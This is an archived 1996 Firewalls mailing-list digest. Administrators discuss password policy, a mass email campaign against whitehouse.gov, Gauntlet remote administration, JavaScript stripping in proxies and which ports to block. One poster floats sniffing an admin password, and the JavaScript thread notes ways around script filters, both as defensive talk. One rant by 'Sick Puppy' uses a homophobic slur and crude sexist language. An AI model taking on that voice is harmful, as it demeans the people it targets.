I'm sure that a lot of people think that just because they have a firewall
which is ``secure'', they don't have to concern themselves with host
security on the interior network.  (which may or may not be true, depending
on the users and how much you trust them.  I trust my family and roomates,
for instance.)

As for initial passwords, I personally am in favor of a scheme where
if a user doesn't login within a reasonable amount of time (say, a week
or so) and change his or her password, locking the account.  Then the
choice of an initial password is less of an issue (though I agree that
something random and difficult, along with a set of guidelines for picking
a good password and a reminder to change it often is preferable to one's
social security number.  :-).

	- Dan C.


From firewalls-owner  Sat Mar  9 14:18:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA00593 for firewalls-outgoing; Sat, 9 Mar 1996 14:13:02 -0800 (PST)
Received: from state.ut.us (email.state.ut.us [161.119.2.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA07896 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 13:30:42 -0800 (PST)
Received: from STATE-DOMAIN-Message_Server by state.ut.us
	with Novell_GroupWise; Sat, 09 Mar 1996 14:26:55 -0700
Message-Id: <s141952f.084@state.ut.us>
X-Mailer: Novell GroupWise 4.1
Date: Sat, 09 Mar 1996 14:28:26 -0700
From: Tom Wood <psudi.twood@state.ut.us>
To: Firewalls@GreatCircle.COM
Subject:  Firewalls-Digest V5 #6 -Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

  I will be basically out of the office until April 8th.
  If you need assistance from with UDI specific issues, please contact Tad at x280.
  If you need other assistance from a DPS MIS representitive, please call
965-4066.
  Thank you,
  Tom Wood


From firewalls-owner  Sat Mar  9 15:04:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA00607 for firewalls-outgoing; Sat, 9 Mar 1996 14:14:31 -0800 (PST)
Received: from state.ut.us (email.state.ut.us [161.119.2.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA08090 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 13:33:58 -0800 (PST)
Received: from STATE-DOMAIN-Message_Server by state.ut.us
	with Novell_GroupWise; Sat, 09 Mar 1996 14:27:23 -0700
Message-Id: <s141954b.014@state.ut.us>
X-Mailer: Novell GroupWise 4.1
Date: Sat, 09 Mar 1996 14:28:48 -0700
From: Tom Wood <psudi.twood@state.ut.us>
To: Firewalls@GreatCircle.COM
Subject:  Firewalls-Digest V5 #113 -Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

  I will be basically out of the office until April 8th.
  If you need assistance from with UDI specific issues, please contact Tad at x280.
  If you need other assistance from a DPS MIS representitive, please call
965-4066.
  Thank you,
  Tom Wood


From firewalls-owner  Sat Mar  9 15:19:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA00676 for firewalls-outgoing; Sat, 9 Mar 1996 14:17:31 -0800 (PST)
Received: from state.ut.us (email.state.ut.us [161.119.2.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA07828 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 13:29:51 -0800 (PST)
Received: from STATE-DOMAIN-Message_Server by state.ut.us
	with Novell_GroupWise; Sat, 09 Mar 1996 14:26:36 -0700
Message-Id: <s141951c.052@state.ut.us>
X-Mailer: Novell GroupWise 4.1
Date: Sat, 09 Mar 1996 14:28:10 -0700
From: Tom Wood <psudi.twood@state.ut.us>
To: Firewalls@GreatCircle.COM
Subject:  Firewalls-Digest V4 #659 -Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

  I will be basically out of the office until April 8th.
  If you need assistance from with UDI specific issues, please contact Tad at x280.
  If you need other assistance from a DPS MIS representitive, please call
965-4066.
  Thank you,
  Tom Wood


From firewalls-owner  Sat Mar  9 15:35:44 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA00517 for firewalls-outgoing; Sat, 9 Mar 1996 14:10:04 -0800 (PST)
Received: from state.ut.us (email.state.ut.us [161.119.2.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA07905 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 13:30:51 -0800 (PST)
Received: from STATE-DOMAIN-Message_Server by state.ut.us
	with Novell_GroupWise; Sat, 09 Mar 1996 14:26:38 -0700
Message-Id: <s141951e.058@state.ut.us>
X-Mailer: Novell GroupWise 4.1
Date: Sat, 09 Mar 1996 14:28:13 -0700
From: Tom Wood <psudi.twood@state.ut.us>
To: Firewalls@GreatCircle.COM
Subject:  Firewalls-Digest V4 #694 -Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

  I will be basically out of the office until April 8th.
  If you need assistance from with UDI specific issues, please contact Tad at x280.
  If you need other assistance from a DPS MIS representitive, please call
965-4066.
  Thank you,
  Tom Wood


From firewalls-owner  Sat Mar  9 15:49:52 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA00540 for firewalls-outgoing; Sat, 9 Mar 1996 14:11:32 -0800 (PST)
Received: from state.ut.us (email.state.ut.us [161.119.2.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA07788 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 13:29:32 -0800 (PST)
Received: from STATE-DOMAIN-Message_Server by state.ut.us
	with Novell_GroupWise; Sat, 09 Mar 1996 14:25:16 -0700
Message-Id: <s14194cc.037@state.ut.us>
X-Mailer: Novell GroupWise 4.1
Date: Sat, 09 Mar 1996 14:28:03 -0700
From: Tom Wood <psudi.twood@state.ut.us>
To: Firewalls@GreatCircle.COM
Subject:  Firewalls-Digest V4 #608 -Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

  I will be basically out of the office until April 8th.
  If you need assistance from with UDI specific issues, please contact Tad at x280.
  If you need other assistance from a DPS MIS representitive, please call
965-4066.
  Thank you,
  Tom Wood


From firewalls-owner  Sat Mar  9 16:04:03 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA00645 for firewalls-outgoing; Sat, 9 Mar 1996 14:16:01 -0800 (PST)
Received: from state.ut.us (email.state.ut.us [161.119.2.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA07817 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 13:29:46 -0800 (PST)
Received: from STATE-DOMAIN-Message_Server by state.ut.us
	with Novell_GroupWise; Sat, 09 Mar 1996 14:26:36 -0700
Message-Id: <s141951c.050@state.ut.us>
X-Mailer: Novell GroupWise 4.1
Date: Sat, 09 Mar 1996 14:28:10 -0700
From: Tom Wood <psudi.twood@state.ut.us>
To: Firewalls@GreatCircle.COM
Subject:  Firewalls-Digest V4 #652 -Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

  I will be basically out of the office until April 8th.
  If you need assistance from with UDI specific issues, please contact Tad at x280.
  If you need other assistance from a DPS MIS representitive, please call
965-4066.
  Thank you,
  Tom Wood


From firewalls-owner  Sat Mar  9 16:34:52 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA06679 for firewalls-outgoing; Sat, 9 Mar 1996 16:29:16 -0800 (PST)
Received: from okjunc.junction.net (okjunc.junction.net [199.166.227.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA06665 for <firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 16:29:10 -0800 (PST)
Received: from sidhe.memra.com (sidhe.memra.com [199.166.227.105]) by okjunc.junction.net (8.6.11/8.6.11) with SMTP id QAA31067; Sat, 9 Mar 1996 16:37:46 -0800
Date: Sat, 9 Mar 1996 17:27:22 -0800 (PST)
From: Michael Dillon <michael@memra.com>
To: Sick Puppy <sikpuppy@maestro.com>
cc: firewalls@GreatCircle.COM
Subject: Re: What is the impact of the e-mail attack on Whitehouse?
In-Reply-To: <Pine.SUN.3.91.960307083117.27493A-100000@maestro.com>
Message-ID: <Pine.BSF.3.91.960309172206.19858A-100000@sidhe.memra.com>
Organization: Memra Software Inc. - Internet consulting
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Thu, 7 Mar 1996, Sick Puppy wrote:

> I have heard, as I am sure may people who lurk on this list have heard, 
> that a massive e-mail attack is scheduled today against the guy who went 
> from the Outhouse to the Whitehouse.  As a simple country dawg, I will 
> show my respect to the simple country boy by not participating in the attack.
> 
> If anyone has any credible information after the e-dust settles, I would 
> like to get an idea of two things:
> 1) What was the total impact of the attack?

Not much. On another list the postmaster for whitehouse.gov was talking
about this a couple weeks ago. They had already put a system in place to
gracefully handle this.  Basically, they start throwing away messages if
they get too many from one individual and if they get too many messages
from one site then they start refusing email from that site for a while,
thus throttling back the flow of messages from that site. There is some
other stuff that they do as well, but the bottom line is that these 
messages are dealt with by the people who run the systems and nobody of 
any importance ever sees them. The only thing that is achieved by sending 
so much email is that the admins at whitehouse.gov get more overtime pay, 
thus increasing your taxes.

> 2) What was the specific impact of the attack on the Whitehouse firewall?

It wasn't an attack on the firewall, just lots of email.


Michael Dillon                                    Voice: +1-604-546-8022
Memra Software Inc.                                 Fax: +1-604-546-3049
http://www.memra.com                             E-mail: michael@memra.com



From firewalls-owner  Sat Mar  9 19:19:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA16831 for firewalls-outgoing; Sat, 9 Mar 1996 19:15:11 -0800 (PST)
Received: from mail.crl.com (mail.crl.com [165.113.1.22]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA16826 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 19:15:07 -0800 (PST)
Received: from crl13.crl.com by mail.crl.com with SMTP id AA14995
  (5.65c/IDA-1.5 for <Firewalls@GreatCircle.COM>); Sat, 9 Mar 1996 19:10:02 -0800
Received: by crl13.crl.com id AA13451
  (5.65c/IDA-1.5); Sat, 9 Mar 1996 19:07:30 -0800
Date: Sat, 9 Mar 1996 19:07:29 -0800 (PST)
From: "Joseph W. Stroup" <nettech@crl.com>
To: Tom Wood <psudi.twood@state.ut.us>
Cc: Firewalls@GreatCircle.COM
Subject: Re: Firewalls-Digest V4 #608 -Reply
In-Reply-To: <s14194cc.037@state.ut.us>
Message-Id: <Pine.SUN.3.91.960309190631.13439A-100000@crl13.crl.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Filter time....... The vacation mode for a subscriber to the mailing list ?

Yes, I know you are ALL seeing it again......Ctrl-ALT-Del please

Joseph Stroup     ATM Feel the Power !

On Sat, 9 Mar 1996, Tom Wood wrote:

>   I will be basically out of the office until April 8th.
>   If you need assistance from with UDI specific issues, please contact Tad at x280.
>   If you need other assistance from a DPS MIS representitive, please call
> 965-4066.
>   Thank you,
>   Tom Wood
> 
> 

From firewalls-owner  Sun Mar 10 05:04:17 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA10006 for firewalls-outgoing; Sun, 10 Mar 1996 04:50:09 -0800 (PST)
Received: from relay5.UU.NET (relay5.UU.NET [192.48.96.15]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id EAA10001 for <firewalls@GreatCircle.com>; Sun, 10 Mar 1996 04:50:04 -0800 (PST)
Received: from maestro.Maestro.COM by relay5.UU.NET with SMTP 
	id QQagkx26467; Sun, 10 Mar 1996 07:48:21 -0500 (EST)
Received: by maestro.Maestro.COM (4.1/MAESTRO-0.1/07-03-93)
	id AA26157; Sun, 10 Mar 96 07:36:58 EST
Date: Sun, 10 Mar 1996 07:36:57 -0500 (EST)
From: Sick Puppy <sikpuppy@maestro.com>
To: firewalls@GreatCircle.com
Subject: Re: What is the impact of the e-mail attack on Whitehouse?
In-Reply-To: <9603080215.AA10470@maestro.Maestro.COM>
Message-Id: <Pine.SUN.3.91.960310065309.25746A-100000@maestro.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

So the Million Mail March e-mail attack on the Whitehouse caused a few 
DNS machines to hickup and caused a few mail servers to slow down.
So what?  The weather does this quite often on the East Coast, knocking 
out both communications lines and electrical power.

Anybody know what the increased load did to their firewall?

Okay, so they don't run a Gauntlet.  Of course I didn't know.  Thanks for 
telling me what they do run.

Hopped on the Concord to visit Elizabeast at Buck House, didn't I?
Spent the whole afternoon getting lessons from Randy Andy on how to handle
hot bitches.  Clearly the world's leading authority.  Pip pip, eh what?
One of Elizabeast's little Corgi dogs came trotting along.  Looked enough 
like a cat so I ate it.  No royal treat, that little critter, tasted
absolutely bloody awful, all fur and bones.  A few minutes later I started
burping at both ends.  Looked around to see if anyone was watching.  Nah,
there was only a couple of faggy butlers trying to get some young dude 
out of a closet.  Andy had already been distractied by a passing Sheila
(bit of skirt for you lot that don't speak British) so I thanked him 
profusely and left.  Got a lift back on a Swedish ship with a Chinese 
crew and jumped ship at Norfolk Roads, Virginia.  There was a car marked 
US Department of Justice with two dudes sleeping in it that was watching 
the ship lay at anchor.  Ate the ham and cheese sandwich one had thrown out.
Nothing like Amerikaynian food.

But my mind wanders.  Red Boots said last year she thought it was the 
drugs mixed with booze.  Stopped the booze but then I start shaking and 
feeling weak. Anyway back to firewalls, while my stomach isn't rumbling.

Sniffing about this morning.  Found the March 26 (1996) copy of ... tadah,
PC Magazine, Network Edition.  On page NE37 a short article says:

  Gauntlet's New Face
    You probably have a firewall to protect your clients.  But if you want 
  to make your information servers more secure, look at Trusted 
  Information Systems' latest release.
    Gauntlet Internet Firewall Version 3.1 (starts at $11,500), now 
  integrates Web and ftp servers on the firewall itself.  It also offers
  as new remote managment GUI and secure POP mail and printer service 
  proxies.   

end of article

The remote management GUI sounds to me like an interesting opportunity for 
a security consultant to use a sniffer to pick the admin-id and password 
off the LAN and hand it to the corporation's management.  Is there any 
encryption between the admin's PC and the firewall?

                                      Sick Puppy, the Cat_Eating_Dawg       

                   --==((  Sick Puppy for President ))==--
                     --==(( Two cats in every pot ))==--

From firewalls-owner  Sun Mar 10 06:49:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA14002 for firewalls-outgoing; Sun, 10 Mar 1996 06:47:37 -0800 (PST)
Received: from relay3.UU.NET (relay3.UU.NET [192.48.96.8]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA13997 for <firewalls@GreatCircle.COM>; Sun, 10 Mar 1996 06:47:33 -0800 (PST)
Received: from maestro.Maestro.COM by relay3.UU.NET with SMTP 
	id QQaglf27166; Sun, 10 Mar 1996 09:45:48 -0500 (EST)
Received: by maestro.Maestro.COM (4.1/MAESTRO-0.1/07-03-93)
	id AA27486; Sun, 10 Mar 96 09:34:25 EST
Date: Sun, 10 Mar 1996 09:34:24 -0500 (EST)
From: Sick Puppy <sikpuppy@maestro.com>
To: Michael Dillon <michael@memra.com>
Cc: firewalls@GreatCircle.COM
Subject: Re: What is the impact of the e-mail attack on Whitehouse?
In-Reply-To: <Pine.BSF.3.91.960309172206.19858A-100000@sidhe.memra.com>
Message-Id: <Pine.SUN.3.91.960310092546.27355A-100000@maestro.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> Not much. On another list the postmaster for whitehouse.gov was talking

Read the BS that guy put out.  He addressed how mail would be handled but 
said nothing about network performance.  Based on the scant information 
available it now seems that there was a 25 percent packet loss on the 
fibre backbones of commercial service providers in the Washington DC 
area during the day.  IMSHO (in my seldom humble opinion), a hit like 
that on the network sure as hell had an impact on the firewall peformance.  
Would like to know what it was.

SP, tCED
  cDm

From firewalls-owner  Sun Mar 10 09:34:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA18424 for firewalls-outgoing; Sun, 10 Mar 1996 09:09:31 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA17939 for <firewalls@miles>; Sun, 10 Mar 1996 09:08:16 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id HAA00422; Sun, 10 Mar 1996 07:55:31 -0800
Received: from mn3.swip.net(192.71.180.33) by mycroft via smap (V1.3mjr)
	id sma000413; Sun Mar 10 07:54:36 1996
Received: by mn3.swip.net with UUCP (8.6.8/2.01)
	id QAA21191; Sun, 10 Mar 1996 16:57:10 +0100
Received: from hades by exodata.se (4.1/SMI-4.1)
	id AA20834; Sun, 10 Mar 96 16:54:01 +0100
Date: Sun, 10 Mar 1996 16:54:00 +0100 (MET)
From: "Mats Akerberg, Exo Data AB" <mats@exodata.se>
X-Sender: mats@hades
To: Sick Puppy <sikpuppy@maestro.com>
Cc: firewalls@GreatCircle.com
Subject: Gauntlet 3.1!
In-Reply-To: <Pine.SUN.3.91.960310065309.25746A-100000@maestro.com>
Message-Id: <Pine.SOL.3.91Exo.960310165030.2906C-100000@hades>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> The remote management GUI sounds to me like an interesting opportunity for 
> a security consultant to use a sniffer to pick the admin-id and password 
> off the LAN and hand it to the corporation's management.  Is there any 
> encryption between the admin's PC and the firewall?

No there isn't But the admin is using a onetime password system.
With you pick off system (Securid, Skey....).
And you can't manage all the function true the net.

                  /Mats

 
  Mats Akerberg  (mats@exodata.se)
  Exo Data AB
  Snail: Box 8312  S-163 08 Spanga Sweden
  Phone: + 46 8 795 98 30 FAX: + 46 8 36 55 78 
  <http://www.exodata.se/~mats>

From firewalls-owner  Sun Mar 10 11:04:08 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA21416 for firewalls-outgoing; Sun, 10 Mar 1996 10:50:03 -0800 (PST)
Received: from mcfeely.bsfs.org (mcfeely.bsfs.org [204.91.13.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA21411 for <firewalls@GreatCircle.COM>; Sun, 10 Mar 1996 10:49:59 -0800 (PST)
Received: (from wombat@localhost) by mcfeely.bsfs.org (8.6.12/8.6.12) id NAA00896; Sun, 10 Mar 1996 13:43:24 -0500
Date: Sun, 10 Mar 1996 13:43:20 -0500 (EST)
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
To: *Hobbit* <hobbit@avian.org>
cc: firewalls@GreatCircle.COM
Subject: Re: oh, just see if you can get in
In-Reply-To: <199602170451.XAA12092@bronze.lcs.mit.edu>
Message-ID: <Pine.BSF.3.91.960310133400.884A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>    LARGE number of consultants out there feeding at the trough of
>    "penetration testing" commodity firewalls.
> 

> Those who ask should be gently informed why they don't want that kind of
> test.  If they insist, they get to pay through the nose for it..
> 
 And just because you can't get in (in the time alloted) doesn't mean 
THEY can't get in.

OTOH, it helps to get "hands on" and take a look at things from an 
outsider's perspective. Not penetration testing, just looking at what's 
really there, not what a site has documented as being there.

For example - I just took a look at a client network that ran a vertical 
database app that was supposedly secure. There were a number of "joe" 
accounts on the system, the database consisted of a series of flat files 
with the data  avail. in plain ol' ASCII, and permissions were 777 
throughout the app's directory structure. It does help to look around a 
bit, and fix what you find. Just don't fall into the trap of thinking 
that since nothing was found, everything is secure.

- r.w.
--------------------------------------------------------------------
Rabid Wombat wombat@mcfeely.bsfs.org
- To defeat the gopher, you must look like the gopher, think like the 
gopher, smell like the gopher ...
- Bill Murray, Caddyshack
--------------------------------------------------------------------

From firewalls-owner  Sun Mar 10 16:34:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA00684 for firewalls-outgoing; Sun, 10 Mar 1996 16:18:11 -0800 (PST)
Received: from citecuh.citec.qld.gov.au (citecuh.citec.qld.gov.au [203.5.10.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id QAA00664 for <firewalls@greatcircle.com>; Sun, 10 Mar 1996 16:18:04 -0800 (PST)
Received: (from mail@localhost) by citecuh.citec.qld.gov.au (8.7.4/8.7.3) id KAA02274 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 10:09:26 +1000 (EST)
X-Authentication-Warning: citecuh.citec.qld.gov.au: mail set sender to <sgcccdc@citec.qld.gov.au> using -f
Received: from guru.citec.qld.gov.au(147.132.20.47) by citecuh.citec.qld.gov.au via smap (V1.3)
	id /mail/incoming/sma002267; Mon Mar 11 10:09:05 1996
Received: (from sgcccdc@localhost) by guru.citec.qld.gov.au (8.6.12/8.6.12) id KAA15278 for firewalls@greatcircle.com; Mon, 11 Mar 1996 10:15:06 +1000
From: Colin Campbell <sgcccdc@citec.qld.gov.au>
Message-Id: <199603110015.KAA15278@guru.citec.qld.gov.au>
Subject: Re: x400-gw
To: firewalls@greatcircle.com
Date: Mon, 11 Mar 1996 10:15:04 +1000 (EST)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hi,

As usual I have been too vague about my actual requirements. Here's the
network setup.



				internet
				    |
				    |
	--------------------------------------------
		|		|		|
		|		|		|
		R		R		R
		|		|		|
		|		|		|
	-------------           v          ----------- lots of these
	  |	  |
	  |       |		|
	 BH	  R		| comms link to another city/state
	 	  |		|
	       inside
	         / \		^
	lots of nets "inside"   |
	   /	|	|	|
	  |	|	|	R
	 MTA   MTA     MTA	|
				|
			--------------- "foreign" site
			   |
			   |
			  MTA
			   |
			   |
			   V
			X.400 "world"


I live "inside". Also present "inside" are several departmental MTAs whose
world access is expected to be via the foreign MTA using RFC 1006. However
this does not sit easy with me since RFC 1006 is merely running OSI over 
TCP and all the effort we put in stopping other incoming services is wasted.

With respect to our firewall, all traffic is forced through the bastion (BH).
My original request therefore, was, I guess, for an X.400 proxy.

One alternative would be an X.400-SMTP gateway "inside" talking to another at
the foreign site. It has been suggested that this would lose functionality.

Comments/suggestions/other solutions please. Commercial solutions allowed :-).

Colin

From firewalls-owner  Sun Mar 10 18:54:53 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA05509 for firewalls-outgoing; Sun, 10 Mar 1996 18:32:59 -0800 (PST)
Received: from nsco.network.com (nsco.network.com [129.191.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA29392 for <firewalls@greatcircle.com>; Sun, 10 Mar 1996 15:16:09 -0800 (PST)
Received: from anubis.network.com by nsco.network.com (4.1/1.34)
	id AA13367; Sun, 10 Mar 96 17:17:55 CST
Received: from blefscu.network.com by anubis.network.com (4.1/SMI-4.1)
	id AA24701; Sun, 10 Mar 96 17:16:21 CST
Date: Sun, 10 Mar 96 17:16:21 CST
From: amolitor@anubis.network.com (Andrew Molitor)
Message-Id: <9603102316.AA24701@anubis.network.com>
To: firewalls@greatcircle.com
Subject: Subject: Re: Eternal war: gateway versus filtering
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

	I was just poking through the archives, and thought I'd make a point
here. I will re-subscribe to the list for a bit to follow along, but you
might want to CC me if you reply real quick..

	A packet-filter based application gateway has one major optimisation
it can do -- it can get almost all the benefits by implementing a half-duplex
TCP reader, which is a fair bit simpler than a TCP implementation. I am
currently tinkering with such an animal, and a little perl-like language to
watch a TCP stream (in the lab, please do not read any product announcements
into this).

	I should also point out that such a beast, being implemented 'in
kernel' has more information than an application gateway. You want the source
MAC address of this segment? You got it. Try that with a user-space gateway.

	There are obviously tradeoffs all around, and mjr's original point
about ease-of-development is a big big deal, which is why mjr can throw
together the TIS fwtk pretty quickly, while us packet filtering guys stumble
along way behind (of course, it is probably also related to the fact that
he's got great huge hairy ... uh, nevermind).


		Andrew
		just another grunt at NSC


From firewalls-owner  Sun Mar 10 20:19:08 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA09126 for firewalls-outgoing; Sun, 10 Mar 1996 20:02:45 -0800 (PST)
Received: from abraham.cs.berkeley.edu (abraham.CS.Berkeley.EDU [128.32.37.121]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id UAA09119 for <firewalls@greatcircle.com>; Sun, 10 Mar 1996 20:02:39 -0800 (PST)
Received: (from news@localhost) by abraham.cs.berkeley.edu (8.6.12/8.6.9) id UAA04877; Sun, 10 Mar 1996 20:00:12 -0800
To: firewalls@greatcircle.com
Path: usenet
From: "David A. Wagner" <daw@cs.berkeley.edu>
Newsgroups: isaac.lists.firewalls
Subject: Re: wwwblock v1.4 - Javascript stripping & blocking by filename ext.
Date: Sun, 10 Mar 1996 20:00:14 -0800
Organization: ISAAC Group, UC Berkeley
Lines: 29
Message-ID: <3143A54E.5F91@cs.berkeley.edu>
References: <199603080413.XAA20457@SPARKY.CF.CS.YALE.EDU>
NNTP-Posting-Host: ubud.cs.berkeley.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 2.0 (X11; I; HP-UX A.09.03 9000/712)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

long-morrow@CS.YALE.EDU wrote: 
> I've incorporated enhancements by Brian Rogers <brogers@integctr.com> in
> wwwblock v1.4:   [...]
> 2.      If you define FILTER_JAVASCRIPT in the Makefile and then
>         build the software it will strip Javascript from streaming HTML
>         between <SCRIPT> and </SCRIPT> effectively disabling it.

This isn't sufficient to disable JavaScript completely, I think.
See Alexander Lehmann's post to comp.security.misc on disabling
JavaScript: he points out that one can also run JavaScript stuff
in many other ways.  (For instance, via a javascript: URL; and
also in normal http: documents, without ever using <script>, by
using the onxxx() functions...)

His post is available at
	http://www.student.informatik.th-darmstadt.de/~alexlehm/javascript/
It details a bunch of keywords which you need to filter to truly
castrate JavaScript.

God (& *maybe* Netscape :-) only know if there are more strange ways
of accessing JavaScript buried in the Netscape browser; I guess if
you're paranoid you'll need to revert to Netscape 1.12.  Ick.

Of course, this "filter-out-dangerous-commands" approach isn't really
ideal, in the long term-- an "allow-only-known-safe-commands" approach
would be better, if it weren't so damn painful.

Take care,
-- Dave Wagner

From firewalls-owner  Sun Mar 10 21:49:21 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA12839 for firewalls-outgoing; Sun, 10 Mar 1996 21:46:13 -0800 (PST)
Received: from sti.com.tw ([139.175.8.145]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA12832 for <firewalls@GreatCircle.COM>; Sun, 10 Mar 1996 21:45:59 -0800 (PST)
Received: by sti.com.tw (5.x/SMI-SVR4)
	id AA26041; Mon, 11 Mar 1996 12:46:37 +0800
Date: Mon, 11 Mar 1996 12:46:37 +0800
From: jting@sti.com.tw (C.C. Ting)
Message-Id: <9603110446.AA26041@sti.com.tw>
To: firewalls@GreatCircle.COM
Subject: Sendmail Security
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hello,

I already set up Firewall-1 at our site. Everything is so far so good. We need a new fuction at mail system. For the security issue, we want to log all outside mail. CheckPoint Firewall did not support this fuction. Where can i get this tool ?

Thanks a lot

Joel Ting
STark Technologies Inc.

From firewalls-owner  Sun Mar 10 23:46:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id WAA13278 for firewalls-outgoing; Sun, 10 Mar 1996 22:07:19 -0800 (PST)
Received: from myall.awadi.com.au ([150.207.2.65]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id WAA13271 for <firewalls@greatcircle.com>; Sun, 10 Mar 1996 22:07:12 -0800 (PST)
Received: from bunya.awadi ([150.207.2.63]) by myall.awadi.com.au (8.7.4/8.7.1) with SMTP id QAA19038; Mon, 11 Mar 1996 16:35:15 +1030 (CST)
Received: from mallee.awadi by bunya.awadi (5.x/SMI-SVR4)
	id AA13132; Mon, 11 Mar 1996 16:35:03 +1030
Received: by mallee.awadi (SMI-8.6/SMI-SVR4)
	id QAA02155; Mon, 11 Mar 1996 16:35:01 +1030
From: blymn@awadi.com.au (Brett Lymn)
Message-Id: <199603110605.QAA02155@mallee.awadi>
Subject: Re: /etc/services entries
To: chris@sandpiper.com (Chris Newton)
Date: Mon, 11 Mar 1996 16:35:00 +1030 (CST)
Cc: firewalls@greatcircle.com
In-Reply-To: <9603081937.AA19992@sandy.sandpiper.com> from "Chris Newton" at Mar 8, 96 11:37:57 am
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

According to Chris Newton:
>
>> 	ingreslock	1524/tcp

database stuff???

>> 	nfsd		2049/udp
>> 	nfsd		2049/tcp

Ports for NFS - definitely block these

>> 	listen		2076/tcp

unknown

>> 	lockd		4045/udp
>> 	lockd		4045/tcp

At a guess these are for the NFS lock manager - block.

>> 	dtspc		6112/tcp

>From the name this is CDE (Common Desktop Environment) - block it

>> 	fs		7100/tcp

The X windows font server - block.

>
>Should I be worrying about these, or are they going to be benign. If I should
>worry, what can I do to protect myself, apart from reconfiguring our router
>to block incoming traffic to these ports
>
